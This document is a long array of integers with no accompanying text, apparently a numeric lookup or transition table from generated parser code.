208,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59369,57893,57893,57893,57893,57916,61227,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59524,57916,0,0,3675,3927,0,0,0,0,0,0,0,0,0,0,0,0,1266,0,0,0,528,528,528,3937,528,528,528,528,3941,528,528,528,528,528,3947,528,528,0,57893,57893,57893,58320,57893,57893,155942,1151,0,0,0,0,0,0,1751,0,0,0,0,0,0,0,0,0,754,0,0,0,0,0,0,528,528,57893,57893,57893,61296,57893,57893,57893,57893,61300,57893,57893,57893,57893,57893,58317,57893,57893,57893,57893,0,57916,57916,58336,57916,57916,61306,57893,57893,57893,57893,57916,57916,57916,61312,57916,57916,57916,57916,61316,57916,57916,57916,57916,58371,58373,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,58945,57916,57916,57916,57916,57916,57916,57916,57916,61322,57916,57916,57916,57916,57943,57943,57943,61328,57943,57943,57943,57943,57943,57943,60981,57943,60983,57943,57943,57943,57943,57943,57943,57943,57943,60078,57943,57943,57943,57943,60083,57943,57943,61332,57943,57943,57943,57943,57943,61338,57943,57943,57943,57943,528,57893,0,0,0,0,0,2797,0,0,0,0,0,0,0,0,0,0,1881,0,0,0,0,0,528,528,528,4017,528,528,528,4021,528,528,528,528,528,57893,57893,57893,57893,57893,57893,58281,57893,57893,57893,57893,57893,57893,57893,61376,57893,57893,57893,61380,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,57916,60939,57916,60941,57916,57916,57916,57916,57916,57916,57916,57916,58881,57916,57916,57916,57916,57916,57916,58896,57916,57916,61392,57916,57916,57916,61396,57916,57916,57916,57916,57916,57916,57943,57943,57943,61242,57943,57943,57943,61245,57943,57943,57943,57943,61408,57943,57943,57943,61412,57943,57943,57943,57943,57943,57943,0,0,0,0,0,2821,0,0,0,0,0,0,0,0,0,0,1739,0,0,0,0,0,0,4270,0,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,57916,61311,57916,57916,61313,57916,57916,57916,57916,57916,57916,59497,57916,57916,59500,57916,57916,57916,57916,57916,57916,57916,61526,57916,61528,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,60415,57943,57943,57943,57943,0,528,528,57893,57893,57916,57916,57943,57943,0,528,57893,57916,57943,4308,4309,61654,61655,61656,0,528,57893,57916,57943,0,528,57893,57916,57943,0,0,0,0,0,2831,0,0,0,0,0,0,0,0,0,0,1257,0,0,0,0,1262,0,350,0,408,0,0,0,0,0,0,0,0,0,0,408,0,350,0,139264,147456,0,0,0,0,0,514,514,514,514,514,514,514,514,514,514,514,514,514,514,514,514,542,57908,542,57908,542,542,57908,542,542,57931,57908,542,542,57908,57908,57908,57908,57958,57958,57908,57908,57908,57908,57958,57958,57908,623,57908,57974,57931,57908,57908,57908,57908,57908,57908,57908,57931,57931,57908,57908,57958,57908,57908,57908,57974,57974,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,0,0,131072,0,0,0,328,0,0,330,0,0,0,0,0,0,2847,2848,0,0,0,0,0,0,0,0,0,5808128,0,0,0,0,4792320,4833280,844,528,528,528,528,528,528,528,528,528,528,528,890,528,528,528,528,528,3499,528,528,528,528,528,528,528,528,528,3508,528,908,528,528,57893,57893,58262,57893,57893,57893,57893,57893,57893,57893,57893,57893,61222,57916,57916,57916,57916,57916,57916,57893,57893,58309,57893,57893,57893,57893,58327,57893,57893,0,57916,57916,58338,57916,57916,57916,57916,58877,57916,57916,57916,57916,58883,57916,57916,57916,57916,57916,57916,59993,59994,57916,57916,57916,57916,57916,57916,60001,57916,57943,57943,57943,57943,58460,57943,57943,57943,57943,58478,57943,57943,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,1151,1724,1173,0,0,0,0,1178,0,0,0,0,0,0,0,0,0,0,2310144,0,368,0,0,0,0,0,1173,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2816,528,528,528,528,1354,528,528,528,528,1364,528,528,528,528,528,528,2491,528,2493,528,528,528,528,528,528,0,58773,914,57893,57893,57893,58779,57893,57893,57893,57893,57893,57893,57893,57893,57893,58793,57916,58874,57916,57916,57916,57916,57916,57916,57916,57916,57916,58888,57916,57916,57916,57916,57916,59448,57916,57916,57916,57916,57916,57916,57916,57916,57916,59459,58898,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59961,57916,58914,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59987,59988,58953,57916,57916,57916,57916,57916,57916,0,57893,57943,57943,57943,58968,57943,57943,57943,57943,57943,59041,57943,57943,57943,57943,57943,57943,57943,57943,59053,59054,0,1728,0,0,0,0,1735,0,0,0,0,0,0,0,0,0,3424,0,0,0,0,0,0,0,0,1761,0,0,0,0,0,0,0,0,0,0,0,0,0,3185,0,0,1775,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2840,0,0,2353,0,0,0,0,0,0,0,0,0,0,0,0,0,3201,0,0,2449,528,528,528,528,528,528,2454,528,2456,528,528,528,528,528,528,2884,528,528,528,528,528,528,528,528,528,528,2915,528,528,528,528,528,2502,0,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61387,57916,57916,57893,57893,57893,59880,57893,57893,57893,57893,57893,57893,59885,57893,59887,57893,57893,57893,0,0,2592,0,57916,57916,57916,57916,57916,57916,57916,57916,57916,61470,57943,57943,57943,57943,57943,57943,59976,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60013,57916,60059,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59033,528,2906,528,528,528,528,528,528,528,528,528,528,528,528,528,528,1960,528,57916,57916,60383,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60367,57916,57916,0,0,3675,0,0,0,0,3931,0,0,3933,0,0,0,0,0,0,1192,0,0,0,1196,1197,0,0,0,0,528,3936,528,528,3938,528,528,528,528,528,528,528,528,528,528,528,528,3247,528,528,528,528,528,57893,61295,57893,57893,61297,57893,57893,57893,57893,57893,57893,57893,57893,57893,61456,57916,57916,57916,57916,57916,57916,0,0,800,0,800,0,0,0,0,0,0,0,0,800,0,0,0,0,307,307,307,307,307,307,307,307,307,307,307,307,307,0,307,0,528,528,528,528,860,528,528,528,528,528,528,528,528,528,528,528,528,3257,528,528,3260,57916,58355,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60368,57916,1161,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3174,528,528,528,528,58773,1987,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59910,57893,57893,57893,57893,57893,57893,57893,57943,57943,60445,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59585,57943,57943,57893,61081,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60639,57893,0,0,0,351,0,0,0,0,0,0,0,0,0,0,0,0,1746,0,0,0,0,0,0,352,0,0,0,0,0,0,0,0,0,0,0,0,1756,1757,0,0,0,0,353,351,131072,0,351,351,0,353,0,351,0,0,351,353,351,0,0,0,351,351,351,351,351,351,351,351,505,351,351,351,351,351,351,351,351,351,351,351,351,351,351,351,351,543,57909,543,57909,543,543,57909,543,543,57932,57909,543,543,57909,57909,57909,57909,57959,57959,57909,57909,57909,57909,57959,57959,57909,543,57909,57909,57932,57909,57909,57909,57909,57909,57909,57909,57932,57932,57909,57909,57959,57909,57909,57909,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,811,812,0,0,0,0,0,0,758,0,0,817,0,0,0,0,0,0,4082,0,0,0,0,528,528,528,528,528,3221,528,3222,528,528,528,528,0,817,0,664,0,0,0,0,0,0,0,0,0,0,0,0,1787,0,0,0,832,0,0,0,0,0,0,812,0,0,0,0,0,0,0,528,528,528,528,528,2873,528,528,528,528,2877,528,528,528,0,2503,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61087,57893,57893,57893,57893,528,850,528,528,528,866,870,528,528,528,528,528,891,893,528,528,0,2932,0,0,0,0,57893,57893,57893,60280,57893,60281,57893,57893,57893,50676,0,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59473,904,528,528,528,57893,57893,58263,58269,57893,57893,57893,58285,58289,57893,57893,57893,0,2590,0,0,57916,57916,57916,57916,57916,57916,57916,57916,57916,59970,57916,57916,57916,57916,57916,57916,57893,57893,58310,58312,57893,57893,58323,57893,57893,57893,0,57916,57916,58339,58345,57916,0,0,0,0,57893,57943,57943,58412,57943,57943,57943,58429,57943,57943,58445,57916,57916,58361,58365,57916,57916,57916,57916,57916,58386,58388,57916,57916,58399,57916,57916,57916,57916,58904,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60945,57916,57916,57916,57916,57943,57943,57943,57943,58461,58463,57943,57943,58474,57943,57943,57943,850,528,893,528,528,0,58270,58266,58491,58314,57893,57893,155942,1151,0,0,1154,0,0,0,0,0,245760,245760,245760,245760,245760,245760,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4358144,4358144,4358144,904,528,0,57893,58269,58312,57893,58323,57893,155942,1151,0,302,0,0,306,307,0,0,0,0,0,0,0,0,0,0,0,0,0,1772,0,0,0,0,0,1217,0,1219,0,1221,0,0,0,0,0,0,0,0,1286,0,0,0,0,0,0,0,0,1247,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3839,0,1332,0,0,0,0,0,0,0,528,528,528,528,528,528,528,528,528,528,528,528,3850,528,528,1374,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2461,528,528,528,1412,528,528,528,528,528,528,528,528,1424,1425,528,528,0,57893,57893,57893,57893,57893,57893,294,1151,0,0,0,0,0,0,0,5480448,4358144,4358144,4358144,4358144,4857856,4874240,4358144,4358144,58773,914,57893,57893,57893,57893,58780,57893,57893,57893,57893,57893,57893,57893,57893,57893,60289,57893,57893,57893,57893,57893,60294,57893,57916,57916,58875,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60378,57916,57916,57916,57916,58932,57916,57916,57916,57916,57916,57916,57916,58946,57916,57916,57916,57916,57916,57916,61241,57943,57943,57943,57943,57943,57943,57943,61246,57943,57916,57916,57916,58958,58959,57916,57916,0,57893,57943,57943,57943,57943,58969,57943,57943,3648,528,528,60995,57893,57893,0,0,0,0,0,0,0,0,1815,0,0,0,0,0,0,0,57943,59e3,59002,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59602,57943,57943,0,1808,0,0,0,0,0,0,0,0,0,0,0,0,0,0,212992,0,528,528,1966,528,528,528,528,528,528,528,528,528,1975,528,528,528,528,528,3513,3515,528,528,528,3518,528,3520,3521,528,57893,528,1981,528,528,58773,0,57893,57893,57893,57893,57893,57893,57893,59338,57893,57893,57893,50676,2087,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60674,57916,57916,57916,57916,57893,59409,57893,57893,57893,57893,57893,57893,57893,57893,57893,59419,57893,57893,57893,57893,57893,59907,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,0,57916,57916,58340,57916,57916,59425,57893,57893,50676,0,57916,57916,57916,57916,57916,57916,57916,59438,57916,57916,57916,57916,57916,61116,57916,57916,57916,57916,57916,57916,57916,57916,61124,57916,59509,57916,57916,57916,57916,57916,57916,57916,57916,57916,59519,57916,57916,57916,57916,59525,57943,57943,59559,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59620,57943,57943,2393,0,2395,0,0,0,0,0,0,0,0,0,0,2403,0,0,0,0,343,390,0,0,0,139264,147456,0,0,0,423,0,0,0,2408,2409,0,0,0,0,0,2413,0,0,0,0,0,0,0,3153,0,0,0,0,0,0,0,0,378,0,0,0,0,0,0,0,0,2419,528,528,528,528,528,528,2426,528,528,528,528,528,528,528,1394,528,528,528,528,528,528,528,528,2886,528,528,528,528,528,528,528,528,528,2450,528,528,528,528,528,528,528,528,2457,528,2459,528,2462,528,528,528,2476,528,528,528,528,528,528,528,528,528,528,528,528,528,61371,57893,57893,0,0,0,59849,57893,57893,57893,57893,57893,57893,57893,59857,57893,57893,57893,57893,57893,60301,57893,57893,57893,57893,57893,57893,57893,60306,57893,57893,59890,57893,59893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60304,57893,57893,57893,57893,59902,57893,57893,57893,57893,57893,59908,57893,57893,57893,57893,57893,57893,57893,57893,57893,60330,57893,57893,57893,60333,60334,57893,57893,57916,57916,59977,57916,59979,57916,59982,57916,57916,57916,57916,57916,57916,57916,57916,57916,60363,57916,60365,57916,57916,57916,57916,57916,57916,57916,57916,59991,57916,57916,57916,57916,57916,59997,57916,57916,57916,57916,57916,57916,61606,57943,57943,57943,57943,57943,57943,57943,0,0,57943,57943,60060,57943,60062,57943,60065,57943,57943,57943,57943,57943,57943,57943,57943,57943,59007,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60074,57943,57943,57943,57943,57943,60080,57943,57943,57943,57943,57943,57943,59612,57943,57943,57943,57943,57943,57943,57943,57943,57943,0,0,4240,0,0,0,528,0,0,0,2819,0,0,0,0,0,0,0,0,0,0,2827,0,0,0,0,131072,0,0,0,357,0,0,0,0,359,0,0,400,0,0,0,0,0,139264,147456,400,411,0,424,411,2841,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3187,528,2880,528,528,528,528,528,2885,528,528,528,528,528,528,528,528,3502,528,528,528,528,528,528,528,57893,57893,57893,60310,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60628,57893,57893,57893,57893,57916,60356,57916,57916,57916,57916,57916,60361,57916,57916,57916,57916,57916,57916,57916,57916,59953,57916,59955,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,60421,57943,57943,57943,57943,57943,60426,57943,57943,57943,57943,57943,57943,60064,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59566,57943,57943,57943,57943,57943,57893,60652,57893,57893,57893,57893,0,0,57916,57916,57916,57916,57916,60661,57916,60662,57916,57916,57916,57916,60701,57916,57916,57916,57916,57943,57943,57943,57943,57943,60710,57943,57943,57943,57943,57943,61481,57943,57943,61483,57943,0,0,0,0,0,0,0,2808,0,0,0,0,0,0,0,0,350,0,0,0,0,0,0,0,60711,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59587,528,3483,528,528,528,528,528,528,528,528,528,528,528,528,528,528,1978,528,60867,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59929,57916,60909,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60395,57916,57916,57943,60951,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60069,57943,57943,0,3670,0,0,0,0,0,0,0,0,0,0,0,0,0,0,278528,0,0,0,3675,0,0,0,3930,0,0,0,0,0,0,0,0,0,3476,0,0,0,0,0,0,3935,528,528,528,528,3939,528,528,528,528,528,528,528,528,528,3948,528,528,61294,57893,57893,57893,57893,61298,57893,57893,57893,57893,57893,57893,57893,57893,60342,57893,57893,0,0,0,3e3,0,57893,61307,57893,57893,57893,61310,57916,57916,57916,57916,61314,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,0,0,0,0,528,528,528,3219,528,528,528,528,528,3224,528,528,57916,57916,57916,57916,61323,57916,57916,57916,61326,57943,57943,57943,57943,61330,57943,57943,57943,57943,57943,60089,60090,60091,57943,57943,57943,57943,57943,57943,57943,57943,57943,59615,57943,57943,57943,57943,59621,57943,4090,528,528,528,528,528,528,528,528,528,57893,57893,57893,57893,57893,61447,0,0,0,4149,0,528,528,528,528,528,528,528,528,528,528,528,528,528,3851,528,528,528,528,528,4248,528,57893,57893,57893,57893,57893,61598,57893,57893,57916,57916,57916,57916,58919,57916,57916,58923,57916,57916,57916,57916,57916,57916,57916,57916,61572,61573,57916,57916,57943,57943,57943,57943,57916,57916,57916,61604,57916,57916,57943,57943,57943,57943,57943,61610,57943,57943,0,0,0,0,363,0,0,0,0,139264,147456,0,0,0,0,0,0,1307,0,528,528,1339,528,1342,528,528,528,4269,0,4271,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,57916,0,0,0,0,57893,57943,57943,58413,57943,57943,57943,57943,57943,57943,57943,57943,61582,0,0,0,0,0,0,528,388,0,354,0,0,0,0,0,397,398,0,399,0,0,0,0,0,0,4208,528,528,528,528,528,528,528,528,528,1380,528,528,528,528,528,528,371,379,407,0,0,0,371,0,0,354,0,0,0,371,0,410,412,0,371,399,0,0,371,379,0,139264,147456,399,410,0,0,410,0,0,0,433,131072,0,433,433,443,0,0,433,0,412,433,0,0,0,0,131072,0,0,0,438,0,0,0,0,0,311,0,0,0,0,2796,0,0,0,0,0,0,0,0,0,0,0,450560,450560,0,0,0,465,0,0,0,493,493,493,493,493,493,493,493,493,493,515,515,515,515,515,527,515,515,515,527,515,515,515,515,515,515,544,57910,544,57910,544,544,57910,544,544,57933,57910,544,544,57910,57910,57910,57910,57960,57960,57910,57910,57910,57910,57960,57960,57910,624,57910,57975,57933,57910,57910,57910,57910,57910,57910,57910,57933,57933,57910,57910,57960,57910,57910,57910,57975,57975,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,0,0,131072,0,0,0,441,342,0,0,0,453,0,342,343,344,0,0,0,0,0,0,0,0,0,0,0,0,0,2853,0,0,0,306,307,0,0,0,643,0,0,0,0,0,0,0,0,0,3687,0,0,0,0,0,0,669,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3428,845,528,528,528,528,528,528,876,878,528,528,528,528,528,528,528,1415,528,528,528,528,528,528,1426,528,528,528,528,528,57893,57893,58264,57893,57893,57893,57893,57893,57893,58295,58297,57893,57893,57893,57893,58803,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59384,57893,57893,57893,57893,58448,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,528,528,528,528,528,57893,57893,57893,57893,57893,2290,1725,2291,0,0,0,0,0,1309,1335,1336,0,1309,528,528,528,528,528,528,1344,528,528,528,528,528,3706,528,528,528,528,528,528,528,528,528,528,528,1974,528,528,528,528,528,528,1348,528,528,1359,528,528,1363,528,528,528,528,528,528,528,1416,528,528,528,528,528,528,528,528,3709,528,528,528,528,528,528,528,58773,914,57893,57893,57893,57893,57893,57893,57893,58783,57893,57893,57893,58787,57893,57893,57893,57893,57893,60623,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,58845,57893,57893,57893,57893,57893,58798,57893,57893,58802,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60638,57893,57893,57893,57893,57916,58916,57916,57916,57916,58920,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59469,57916,57916,57916,57916,57916,58972,57943,57943,57943,58976,57943,57943,58987,57943,57943,58991,57943,57943,57943,57943,57943,57943,60076,60077,57943,57943,57943,57943,57943,57943,60084,57943,59014,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59604,1745,1746,0,0,0,0,0,0,0,0,0,0,0,0,0,0,507904,0,0,0,0,1778,0,0,0,0,0,0,0,0,0,0,0,0,1828,0,0,0,1791,0,1793,0,0,0,1797,0,0,0,1801,0,0,0,1805,0,0,0,0,131072,0,0,0,442,0,0,0,449,0,0,0,0,0,2846,0,0,0,0,0,0,0,0,0,0,1224,0,0,0,0,0,1980,528,528,528,58773,0,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60625,57893,57893,57893,57893,57893,57893,57893,57943,57943,57943,57943,59545,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60068,57943,57943,57943,0,0,2314,0,2315,0,0,0,0,0,0,0,0,0,0,0,262738,0,0,0,0,2377,0,0,0,0,0,0,2384,0,0,0,0,0,0,0,0,1326,1327,0,0,1167,0,0,0,0,528,528,2421,528,528,528,528,528,528,528,528,528,528,528,528,888,528,528,528,528,528,528,528,2489,528,528,528,528,528,528,528,528,528,528,0,0,57893,57893,57893,57893,60611,57893,57893,57893,57893,57893,57893,59868,57893,57893,57893,57893,57893,57893,57893,57893,57893,58330,0,57916,57916,57916,57916,58347,0,0,0,57893,57893,59851,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60901,57893,57893,57893,57893,57893,57893,57893,60113,0,0,1729,0,0,1736,0,0,0,0,0,0,0,0,0,139264,147456,0,0,0,0,0,0,0,2858,0,0,0,0,0,0,0,0,0,2864,0,0,0,0,0,3152,0,0,0,0,0,0,0,0,0,3158,57893,57893,57893,57893,60311,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60890,57893,60892,57893,57893,60323,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,60295,60443,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,60455,57943,57943,57943,57943,57943,59593,57943,57943,59596,57943,57943,57943,57943,57943,57943,57943,57943,59551,57943,57943,57943,57943,57943,57943,57943,57943,59565,57943,57943,57943,57943,57943,57943,57943,57943,59580,57943,57943,57943,57943,57943,57943,57943,57943,59614,57943,57943,57943,57943,57943,57943,57943,57943,60037,57943,57943,60041,57943,57943,57943,60045,0,0,3190,0,0,0,0,3195,0,0,0,0,0,0,0,0,1783,1784,1785,0,0,0,0,0,3250,528,528,528,528,528,528,528,528,528,528,528,528,528,528,528,2472,57893,57893,60642,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61385,57893,57916,57916,57916,0,3468,3469,0,0,0,0,3474,0,0,0,0,0,0,0,0,1799,0,0,0,0,0,0,0,0,0,3681,0,0,0,3684,0,0,0,0,0,0,0,0,3692,57893,61092,57893,57893,57893,57893,57893,57893,57893,57893,57893,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,0,0,0,0,4290,528,3813,57893,57893,61159,3816,0,0,0,0,3820,0,0,0,0,0,0,1236,0,0,0,0,0,0,0,0,0,2799,0,0,0,0,0,0,0,3833,0,0,0,0,3837,0,0,0,0,0,0,0,0,3840,0,528,528,528,3842,528,528,528,3845,528,528,528,528,528,528,528,1938,528,528,528,528,528,528,528,528,3235,528,528,3238,528,528,528,528,57893,57893,57893,61207,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61084,57893,57893,57893,57893,57893,57893,57893,61226,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60407,57916,528,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61302,57893,61304,57893,57893,57893,57893,58819,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59913,57893,57893,57893,57893,57916,61320,57916,57916,57916,57916,57916,57916,57943,57943,57943,57943,57943,57943,57943,57943,4268,0,57943,57943,61334,57943,61336,57943,57943,57943,57943,57943,57943,528,57893,0,0,0,0,0,3164,0,0,0,0,3169,0,0,0,0,0,0,1220,0,0,0,0,0,1226,0,1228,0,4146,0,0,0,0,528,528,528,528,528,528,528,528,528,528,4160,528,528,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,61516,57893,57893,57893,0,2591,0,0,57916,57916,57916,57916,57916,57916,57916,57916,57916,59996,57916,57916,57916,57916,57916,57916,528,528,57893,57893,61560,57893,61561,57893,57893,57893,57893,57893,57893,57893,57893,57916,0,0,0,0,57893,57943,57943,58414,58420,57943,57943,57943,58436,58440,57943,57943,57943,57943,57943,61411,57943,61413,61414,57943,61416,57943,61418,0,0,0,0,0,1849,0,0,0,0,0,0,1748,0,0,0,0,0,1864,0,0,0,0,0,0,0,0,0,0,2401,0,0,0,0,0,57916,61568,57916,61569,57916,57916,57916,57916,57916,57916,57916,57916,57943,57943,61576,57943,57943,57943,57943,57943,61539,57943,61541,57943,57943,57943,57943,0,0,0,0,0,0,3435,0,0,0,0,0,0,0,0,0,1273,0,0,0,0,0,0,61577,57943,57943,57943,57943,57943,57943,57943,57943,0,0,0,0,0,0,528,528,528,2871,2872,528,528,528,528,528,528,528,528,528,528,3237,528,528,528,528,528,358,359,360,0,0,0,0,0,0,0,0,0,368,0,296,0,0,0,0,131072,0,352256,352256,0,0,0,352256,0,0,352256,0,352256,352256,352256,352256,352256,352256,352256,352256,352256,352256,352256,352256,352256,352256,352256,352256,0,482,482,482,0,0,0,0,0,0,0,0,0,0,516,516,520,520,520,520,520,516,520,520,520,516,520,520,520,520,520,520,545,57911,545,57911,545,545,57911,545,545,57934,57911,545,545,57911,57911,57911,57911,57961,57961,57911,57911,57911,57911,57961,57961,57911,625,57911,57976,57934,57911,57911,57911,57911,57911,57911,57911,57934,57934,57911,57911,57961,57911,57911,57911,57976,57976,1,24578,3,155942,155942,296,0,0,0,0,0,302,303,0,0,0,0,245760,0,0,245760,0,0,245760,0,0,245760,0,245760,0,0,0,0,0,0,0,0,0,0,0,0,0,516567,516567,516567,0,306,307,0,0,0,0,644,0,0,0,0,0,0,0,0,1837,0,0,0,0,0,0,0,0,0,687,688,0,0,0,0,0,0,0,0,0,0,0,368,368,0,0,0,760,0,0,0,0,765,0,0,0,0,0,0,0,0,0,0,4841472,0,0,0,4898816,0,794,0,0,0,0,0,0,0,0,0,0,803,0,808,0,0,0,0,392,0,0,0,396,392,0,0,0,0,0,0,0,2823,0,0,0,0,0,0,0,0,677,0,0,0,0,0,0,0,0,0,0,820,0,0,0,0,0,644,0,0,0,0,0,0,0,3436,0,0,0,0,0,0,0,0,681,0,0,0,0,0,0,680,0,0,794,0,0,0,0,0,0,0,0,644,0,0,794,528,528,528,528,528,3717,528,528,528,528,528,528,528,528,528,528,1381,528,528,528,528,528,846,528,528,528,528,867,871,877,528,882,528,528,528,528,528,900,528,528,528,528,57893,57893,58265,57893,57893,57893,57893,58286,58290,58296,57893,58301,57916,57916,58362,58366,58372,57916,58377,57916,57916,57916,57916,57916,58395,57916,57916,57916,57916,57916,61231,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,60686,57916,57916,57916,57916,57916,57943,58452,57943,57943,57943,57943,57943,58470,57943,57943,57943,57943,528,528,528,900,1215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3441,1264,0,0,0,0,0,1269,0,0,0,0,0,1274,0,0,0,0,0,3179,0,0,0,0,0,0,0,0,0,0,679,0,0,0,0,0,0,1294,0,0,1165,0,0,0,1300,0,1302,0,0,0,0,0,0,1284,0,0,0,0,0,0,0,0,0,1301,0,0,0,0,0,0,0,1300,1319,0,1322,0,0,0,1196,0,0,0,0,1330,0,0,1215,1330,1337,528,528,528,528,1343,528,528,528,528,1349,528,528,528,528,528,528,528,528,528,528,1370,528,528,0,57893,57893,57893,57893,57893,57893,155942,0,0,0,0,0,0,0,1285,0,0,0,0,1290,0,0,0,58773,914,58775,57893,57893,57893,57893,57893,58782,57893,57893,57893,57893,58788,57893,57893,57893,57893,57893,60872,57893,57893,57893,57893,57893,60876,57893,57893,57893,57893,57893,58860,57893,57893,57893,57893,57893,50676,58773,990,57916,57916,57916,58917,57916,57916,57916,57916,58922,57916,57916,57916,57916,57916,57916,57916,57916,57916,60403,57916,57916,57916,60406,57916,57916,58930,57916,57916,57916,58937,58939,57916,57916,57916,57916,57916,57916,57916,57916,57916,57916,59957,57916,57916,57916,57916,57916,57943,57943,57943,57943,58977,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,58998,57943,59016,57943,57943,57943,57943,57943,59021,57943,57943,57943,59025,57943,57943,57943,59032,59034,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,57943,59622,57943,59057,528,528,528,528,528,528,57893,57893,57893,57893,57893,57893,1151,0,0,0,0,385024,0,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,4358144,5259264,4358144,4358144,4358144,4358144,0,0,1729,0,0,0,0,1736,0,0,0,0,0,0,0,0,1880,0,0,0,0,0,0,0,0,0,1747,1748,0,0,0,0,0,1754,0,0,0,0,0,0,0,3447,0,0,0,0,0,3450,0,3452,0,1776,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5177344,0,0,0,0,0,1794,0,0,0,0,0,0,0,1802,1803,0,0,0,0,0,3207,0,0,0,0,0,0,0,0,0,0,3183,0,0,0,0,0,0,0,0,1810,0,0,0,0,0,0,0,0,0,0,0,0,1841,0,1843,0,0,0,1874,0,0,0,0,0,0,0,0,0,0,0,0,0,3213,0,0,528,528,528,1901,528,528,528,528,1907,528,528,528,528,528,528,528,2441,528,528,528,528,528,528,528,528,3720,528,528,528,528,528,528,528,528,528,528,1918,528,528,528,528,1922,528,528,528,528,528,528,528,2466,2467,528,528,528,528,528,528,528,1417,528,528,528,528,528,528,528,528,3856,528,528,528,57893,57893,57893,57893,528,528,528,528,1968,1969,528,528,528,528,528,528,528,528,528,528,1924,1925,528,528,528,528,57893,57893,59344,57893,57893,57893,57893,59350,57893,57893,57893,57893,57893,57893,57893,57893,61212,57893,57893,57893,57893,57893,57893,57893,57893,57893,59361,57893,57893,57893,57893,59365,57893,57893,57893,57893,57893,57893,57893,57893,59883,57893,57893,57893,59886,57893,57893,57893,57893,57893,57893,57893,57893,59378,57893,57893,57893,59383,57893,57893,57893,57893,57893,57893,57893,59909,57893,57893,57893,57893,57893,57893,57893,59915,57893,57893,57893,59412,59413,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,57893,59921,57893,57893,57893,57893,57893,57893,57893,57893,59351,57893,57893,57893,57893,57893,57893,57893,57916,59444,57916,57916,57916,57916,59450,57916,57916,57916,57916,57916,57916,57916,57916,57916,60685,57916,57916,57916,57916,57916,57916,57916,59461